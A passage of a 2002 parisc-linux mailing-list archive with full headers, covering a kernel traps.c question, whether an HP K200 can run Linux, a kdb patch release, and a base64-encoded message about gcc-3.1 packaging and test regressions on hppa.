List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14702

pa,

-pa23

linux/arch/parisc/traps.c

    159                 cr30 = mfctl(30);
    160                 cr31 = mfctl(31);
    161                 stack_start = sp & ~(ISTACK_SIZE - 1);
    162                 if (stack_start == cr31) {
...
    189                 }
    190                 else
    191                 {
    192                     /* Stack Dump! */
    193                     printk(KERN_CRIT "WARNING! Stack pointer and cr30 do not correspond!\n");
    194                     printk(KERN_CRIT "Dumping virtual address stack instead\n");
    195                     dump_stack((unsigned long)__va(stack_start), (unsigned long)__va(sp), 0);
    196                 }

Line 193:

	Why do we say cr30 does not correspond to stack pointer?

c.




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grahame Jordan <gbj@theforce.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K-Class9000 K200
Date: 04 May 2002 06:22:54 +1000
Lines: 16
Approved: news@gmane.org
Message-ID: <1020457378.4706.9.camel@falcon.TheForce.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621272 6976 80.91.229.3 (22 Nov 2014 01:54:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 14:28:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ob1.theforce.com.au (c16698.brasd1.vic.optusnet.com.au [210.49.153.64])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AFAF485A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 14:28:33 -0600 (MDT)
Original-Received: from falcon.TheForce.com.au (falcon.theforce.com.au [203.20.16.22])
	by ob1.theforce.com.au (8.11.6/8.11.0) with ESMTP id g43KMtp17994
	for <parisc-linux@lists.parisc-linux.org>; Sat, 4 May 2002 06:22:59 +1000
X-Mailer: Evolution/1.0.1.99+cvs.2002.01.14.17.03 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14703

Hi,

Sorry to sound ignorant here but I just got me a K200.  Specs are hard
to come by.  I am wondering if I can install Linux on this or not.
Is this machine 32 bit or 64 bit?

Which are the corect iso images?

Thanks


Grahame Jordan
-- 




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Fri, 3 May 2002 17:21:31 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20020503172131.A24017@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621272 6979 80.91.229.3 (22 Nov 2014 01:54:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 15:21:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FAEA485B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 15:21:28 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g43LLVI24083
	for parisc-linux@lists.parisc-linux.org; Fri, 3 May 2002 17:21:31 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14704

parisc,

kdb-parisc patches for -pa23 can be found at:

http://www.baldric.uwo.ca/~carlos/kdb-parisc/

No feature enhancements or bug fixes, just a 'it works with -pa23' changes.
There were only a few changes to be made to /arch/parisc/kernel/traps.c.
I put together the changes based on the -pa11 kdb patches. 

c.




From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-Class9000 K200
Date: Fri, 3 May 2002 20:53:24 -0800 (AKDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0205032047320.26146-100000@goliath.alaskatech.org>
References: <1020457378.4706.9.camel@falcon.TheForce.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621272 6983 80.91.229.3 (22 Nov 2014 01:54:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:32 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Grahame Jordan <gbj@theforce.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 23:06:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from goliath.alaskatech.org (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id C314E4843
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 23:06:23 -0600 (MDT)
Original-Received: from goliath.alaskatech.org (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by goliath.alaskatech.org (8.12.2/8.12.2/Debian -5) with ESMTP id g444rOBd026152;
	Fri, 3 May 2002 20:53:30 -0800
In-Reply-To: <1020457378.4706.9.camel@falcon.TheForce.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14705

On 4 May 2002, Grahame Jordan wrote:
> Sorry to sound ignorant here but I just got me a K200.  Specs are hard
> to come by.  I am wondering if I can install Linux on this or not.
> Is this machine 32 bit or 64 bit?
>
> Which are the corect iso images?

Well, according to the hardware list I built (from ESIEE and
parisc-linux.org info) the K200 is a PA7200 (PCX-T') chip, 32-bit CPU and
system. The note from 0.9.3's release is that the generic default install
may fail, but that a K410 (single-CPU) worked. I haven't heard anything
since then, so it looks like the K200 should work.

If you'd like to browse (or if there's updates to what works)
http://www.alaskatech.org/pa-risc/PARISC-Systems.htm is what I was able to
dig up... Feel free to send me updates.




From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sat, 4 May 2002 13:20:51 +0200
Lines: 283
Approved: news@gmane.org
Message-ID: <15571.50195.280071.792305__42929.7196832069$1416621273$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416621273 6989 80.91.229.3 (22 Nov 2014 01:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:33 +0000 (UTC)
Cc: debian-gcc@lists.debian.org
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  4 05:22:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26C6C485F
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 May 2002 05:22:05 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id NAA12900;
	Sat, 4 May 2002 13:20:57 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g44BKpq22117;
	Sat, 4 May 2002 13:20:51 +0200 (MEST)
X-Mailer: VM 7.03 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14706

V2hpbGUgcHJlcGFyaW5nIGdjYy0zLjEgcGFja2FnZXMgSSBub3RpY2VkIG1hbnkgZWgtcmVs
YXRlZCByZWdyZXNzaW9ucw0KZml4ZWQgaW4gdGhlIHRydW5rLCB3aGVuIGR3YXJmMiBzdXBw
b3J0IHdhcyBhZGRlZC4gV2l0aCBEYXZlJ3MNCmd1aWRhbmNlIEkgbWFkZSBhIGRpZmYgb2Yg
dGhlIHBhIHN1YmRpcmVjdG9yeSBmcm9tIHRoZSB0cnVuayBhbmQNCmFwcGxpZWQgaXQgdG8g
dGhlIGJyYW5jaC4gQWx0aG91Z2ggbWFueSBGQUlMUyBhcmUgZ29uZSwgdGhlcmUgYXJlIHNv
bWUNCm5ldyAoZGlmZiBiZWxvdykuDQoNCkkgd291bGQgbGlrZSB0byBnZXQgZmVlZGJhY2ss
IG9uIHdoaWNoIGFsdGVybmF0aXZlIHRvIGJhc2UgdGhlIGdjYy0zLjENCnBhY2thZ2VzOg0K
DQphKSAzLjEgYXMgdG8gYmUgcmVsZWFzZWQgKHdpdGhvdXQgZHdhcmYyIHN1cHBvcnQpDQpi
KSAzLjEgKyBkd2FyZjIgc3VwcG9ydA0KYykgMy4yIENWUyAyMDAyMDQyOSBwbHVzL21pbnVz
IHBhdGNoZXMNCg0KQ29uc3RyYWludHM6IE1ha2UgZ2NjLTMuMSB0aGUgZGVmYXVsdCBjb21w
aWxlciBmb3IgYWxsIERlYmlhbg0KYXJjaGl0ZWN0dXJlcyBpbiB0aGUgbmVhciBmdXR1cmUs
IHByb3ZpZGVkIGl0IGJ1aWxkcyBvbiBhbGwgb2YgdGhlbS4NCg0KYSkgaXMgdGhlIGRlZmF1
bHQgb3B0aW9uIHRvIGdvIHdpdGguDQoNCmIpIHNob3dzIHNvbWUgcmVncmVzc2lvbnMuIHBh
Y2thZ2VzIGNhbiBiZSBmb3VuZCBhdA0KICAgICAgIGh0dHA6Ly9mdHAtbWFzdGVyLmRlYmlh
bi5vcmcvfmRva28vZ2NjLWhwcGEvDQogICBhcyBsb25nIGFzIHlvdSBkb24ndCBpbnN0YWxs
IGxpYm9iamMxIGFuZCBnb2JqYy0zLjEsIHRoZSBwYWNrYWdlcw0KICAgY2FuIGJlIGluc3Rh
bGxlZCBwYXJhbGxlbCB0byB0aGUgY3VycmVudCBwYWNrYWdlcy4NCiAgIGNvdWxkIGJlIGFu
IG9wdGlvbiB3aXRob3V0IHRoZSByZWdyZXNzaW9ucz8NCg0KYykgaXMgRGF2ZSBBbmdsaW4n
cyBwcmVmZXJlbmNlLiBJIGRpZG4ndCBidWlsZCBwYWNrYWdlcyBmb3IgdGhpcw0KICAgc2Nl
bmFyaW8geWV0Lg0KDQpbYXR0YWNoZWQgY29tbWVudHMgb24gdGhlIHJlZ3Jlc3Npb25zXQ0K
Sm9obiBEYXZpZCBBbmdsaW4gd3JpdGVzOg0KPiBGQUlMOiBnKysuYnJlbmRhbi9uZXczLkM6
IGN1cnJlbnQgY3ZzIGJpbnV0aWxzIGhhcyBhIGZpeCBmb3IgdGhpcy4NCj4gVGhlIGJpbnV0
aWxzIGZpeCBjb3JyZWN0cyBhIGZ1bmN0aW9uIG92ZXJsb2FkaW5nIHByb2JsZW0gd2hlcmVi
eQ0KPiBjYWxscyBpbiBhIHNoYXJlZCBsaWJyYXJ5IGNhbGxlZCB0aGUgd3JvbmcgZnVuY3Rp
b24uDQp1bnJlbGF0ZWQsIGZvcndhcmRlZCB0byBDaHJpcyBDaGltZWxpcw0KDQo+IGc3NyBm
YWlsczogSGF2ZW4ndCBzZWVuIHRoZXNlIGJlZm9yZS4gIE1heWJlIHRoaXMgaXMgYSBnbGli
YyBpc3N1ZS4gIFlvdQ0KPiBjb25maWd1cmVkIHdpdGggLS1lbmFibGUtbG9uZy1sb25nLiAg
SSBoYXZlbid0IGJlZW4gdXNpbmcgdGhpcyBhbHRob3VnaA0KPiBJIHRoaW5rIHlvdSBnZXQg
bG9uZyBsb25nIHN1cHBvcnQgYnkgZGVmYXVsdC4gIFN1Z2dlc3QgbG9va2luZyBhdCANCj4g
dGVzdHN1aXRlL2c3Ny5sb2cuICBUaGlzIG1heSBwcm92aWRlIG1vcmUgaW5mby4gIFlvdSBt
YXkgaGF2ZSB0byBidWlsZA0KPiB0aGUgZmFpbGluZyBjb2RlIHdpdGggIi1nIC1PMCAtc3Rh
dGljIiBhbmQgbG9vayBhdCB3aGF0IGlzIGhhcHBlbmluZw0KPiB3aXRoIGdkYi4NCg0Kbm90
IHlldCBkb25lLiB0aGUgZXhlY3V0YWJsZSBjYWxscyBhYm9ydC4NCg0KPiBGQUlMOiBnY2Mu
Yy10b3J0dXJlL2V4ZWN1dGUvaWVlZS9yYnVnLmMgZXhlY3V0aW9uLCAgLU8zIC1nOiAgVGhl
cmUgbWF5DQo+IGhhdmUgYmVlbiBzb21lIGNoYW5nZXMgdG8gcmVhbC5bY2hdIGNhdXNpbmcg
dGhpcy4gIEkgc2VlIHJidWcgZmFpbHMNCj4gdW5kZXIgaHBwYTY0LWhwdXggYXQgLU8zLiAg
SSBoYXZlbid0IHRyaWVkIHRvIGludmVzdGlnYXRlIHRoZSBjYXVzZQ0KPiB5ZXQuDQoNCkpv
aG4gRGF2aWQgQW5nbGluIHdyaXRlczoNCj4gPiB5ZXMsIEkgYW0gY3VycmVudGx5IGp1c3Qg
dGhpbmtpbmcgLi4uIFdlJ2xsIHJlbGVhc2UgRGViaWFuIDMuMCB3aXRob3V0DQo+ID4gMy4x
LCBhbmQgdGhlbiB3aWxsIG1ha2UgMy4xIHRoZSBkZWZhdWx0IGNvbXBpbGVyIGF0IHNvbWUg
cG9pbnQgZm9yIGFsbA0KPiA+IGFyY2hpdGVjdHVyZXMuIHNvIHRoZXJlIGlzIHRpbWUgdG8g
ZmluZCBicm9rZW4gY29kZS4gT1RPSCwgd2Ugd291bGQNCj4gPiBiZSBpbmNvbXBhdGlibGUg
dG8gdGhlIHJlbGVhc2VkIDMuMSAoYnV0IGNvbXBhdGlibGUgdG8gMy4yPykuIFByb2JhYmx5
DQo+ID4gSSBzaG91bGQgbW92ZSB0aGUgZGlzY3Vzc2lvbiB0byBwYXJpc2MtbGludXgsIGJ1
dCBJIHdhbnQgdG8ga25vdyBpZg0KPiA+IGl0J3Mgd29ydGggZm9sbG93aW5nIHRoZSBpZGVh
IC4uLg0KPiANCj4gMy4yIGlzIGRlZmluaXRlbHkgZ29pbmcgdG8gYmUgYmV0dGVyIHRoYW4g
My4xIG9uIHBhcmlzYy1saW51eC4gIEl0DQo+IGFsc28gaGFzIHNvbWUgbG9uZyBicmFuY2gg
Zml4ZXMgdGhhdCAzLjEgZG9lc24ndCBoYXZlIGFuZCBJIGludGVuZA0KPiB0byB3b3JrIGZ1
cnRoZXIgb24gdGhpcyBpc3N1ZSBiZWNhdXNlIHRoZXJlIGFyZSBzdGlsbCBzb21lIHByb2Js
ZW1zDQo+IHdpdGggbGFyZ2UgYXBwbGljYXRpb25zLg0KPiANCj4gWW91IGNvdWxkIGNvbnNp
ZGVyIHVzaW5nIHRoZSBwYSBzdWJkaXJlY3RvcnkgZnJvbSBnY2MgMy4yIHdpdGggMy4xLg0K
PiBJZiBJIHdhcyB0byBjaG9vc2UsIEkgd291bGQgZ3JhYiBhIHNuYXBzaG90IGp1c3QgYmVm
b3JlIHRoZSBERkEgcGF0Y2gNCg0KDQp0ZXN0LXN1bW1hcnkgZGlmZiBiZXR3ZWVuIGdjYy0z
XzEtYnJhbmNoIGFuZCBnY2MtM18xLWJyYW5jaCtwYXRjaA0KDQotLS0gdGVzdC1zdW1tYXJ5
LTMuMS4wMjA1MDEJVGh1IE1heSAgMiAwMDowMzozMSAyMDAyDQorKysgdGVzdC1zdW1tYXJ5
LTMuMS4wMjA1MDIJU2F0IE1heSAgNCAwMjoxNTo0OCAyMDAyDQpAQCAtMSw0ICsxLDQgQEAN
Ci1MQVNUX1VQREFURUQ6IFdlZCBNYXkgIDEgMTg6NTk6MTkgVVRDIDIwMDINCitMQVNUX1VQ
REFURUQ6IEZyaSBNYXkgIDMgMTk6MzQ6MDcgVVRDIDIwMDINCiANCiBOYXRpdmUgY29uZmln
dXJhdGlvbiBpcyBocHBhLXVua25vd24tbGludXgtZ251DQogDQpAQCAtNiwxNDcgKzYsNTkg
QEANCiANCiANCiBSdW5uaW5nIHRhcmdldCB1bml4DQotRkFJTDogZysrLmRnL2VoL2ZpbHRl
cjEuQyBleGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5kZy9laC9maWx0ZXIyLkMgZXhlY3V0
aW9uIHRlc3QNCi1GQUlMOiBnKysuZGcvZWgvbG9vcDEuQyBleGVjdXRpb24gdGVzdA0KLUZB
SUw6IGcrKy5kZy9laC9vbWl0LWZyYW1lLXBvaW50ZXIuQyBleGVjdXRpb24gdGVzdA0KLUZB
SUw6IGcrKy5kZy9laC9yZWdpc3RlcnMxLkMgZXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysu
ZGcvZWgvdGVtcGxhdGUxLkMgZXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZGcvZWgvdW5l
eHBlY3RlZDEuQyBleGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5hYmkvY3hhX3ZlYy5DICBF
eGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5icmVuZGFuL2VoMS5DICBFeGVjdXRpb24gdGVz
dA0KIEZBSUw6IGcrKy5icmVuZGFuL25ldzMuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBn
KysuZWgvYmFkYWxsb2MxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL2NhdGNo
MTEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2F0Y2gxMi5DICBFeGVjdXRp
b24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRjaDMuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysuZWgvY2F0Y2gzcC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRj
aDQuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2F0Y2g0cC5DICBFeGVjdXRp
b24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRjaDUuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysuZWgvY2F0Y2g1cC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRj
aDYuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2F0Y2g2cC5DICBFeGVjdXRp
b24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRjaDcuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysuZWgvY2F0Y2g3cC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRj
aDguQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2F0Y2g4cC5DICBFeGVjdXRp
b24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRjaDkuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysuZWgvY2F0Y2g5cC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9jYXRj
aHB0cjEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2xlYW51cDEuQyAgRXhl
Y3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvY2xlYW51cDIuQyAgRXhlY3V0aW9uIHRlc3QN
Ci1GQUlMOiBnKysuZWgvZmxvdzEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgv
Zm50cnkxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL2lhNjQtMS5DICBFeGVj
dXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9pbmxpbmUyLkMgIEV4ZWN1dGlvbiB0ZXN0DQot
RkFJTDogZysrLmVoL25ldzEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvbmV3
Mi5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC9wZGVsMS5DICBFeGVjdXRpb24g
dGVzdA0KLUZBSUw6IGcrKy5laC9wZGVsMi5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcr
Ky5laC9wdHIxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL3B0cm1lbTEuQyAg
RXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvcmV0aHJvdzEuQyAgRXhlY3V0aW9uIHRl
c3QNCi1GQUlMOiBnKysuZWgvcmV0aHJvdzIuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBn
KysuZWgvcmV0aHJvdzMuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvcmV0aHJv
dzQuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvcmV0aHJvdzUuQyAgRXhlY3V0
aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvcmV0aHJvdzYuQyAgRXhlY3V0aW9uIHRlc3QNCi1G
QUlMOiBnKysuZWgvc3BlYzEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvc3Bl
YzIuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysuZWgvc3BlYzMuQyAgRXhlY3V0aW9u
IHRlc3QNCi1GQUlMOiBnKysuZWgvc3BlYzQuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBn
KysuZWgvdGVybWluYXRlMS5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC90ZXJt
aW5hdGUyLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL3RtcGwxLkMgIEV4ZWN1
dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL3Vud2luZDEuQyAgRXhlY3V0aW9uIHRlc3QNCi1G
QUlMOiBnKysuZWgvdmJhc2UxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLmVoL3Zi
YXNlMi5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5laC92YmFzZTQuQyAgRXhlY3V0
aW9uIHRlc3QNCiBGQUlMOiBnKysubGF3L3Byb2ZpbGUxLkMgKHRlc3QgZm9yIGV4Y2VzcyBl
cnJvcnMpDQotRkFJTDogZysrLm1hcnRpbi9uZXcxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJ
TDogZysrLm1pa2UvZHluY2FzdDEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlr
ZS9keW5jYXN0Mi5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoMTAuQyAg
RXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9laDEyLkMgIEV4ZWN1dGlvbiB0ZXN0
DQotRkFJTDogZysrLm1pa2UvZWgxNC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5t
aWtlL2VoMTYuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9laDE3LkMgIEV4
ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgxOC5DICBFeGVjdXRpb24gdGVzdA0K
LUZBSUw6IGcrKy5taWtlL2VoMi5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtl
L2VoMjEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9laDIzLkMgIEV4ZWN1
dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgyNC5DICBFeGVjdXRpb24gdGVzdA0KLUZB
SUw6IGcrKy5taWtlL2VoMjUuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9l
aDI2LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgyNy5DICBFeGVjdXRp
b24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoMjguQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysubWlrZS9laDI5LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgz
LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgzMS5DICBFeGVjdXRpb24g
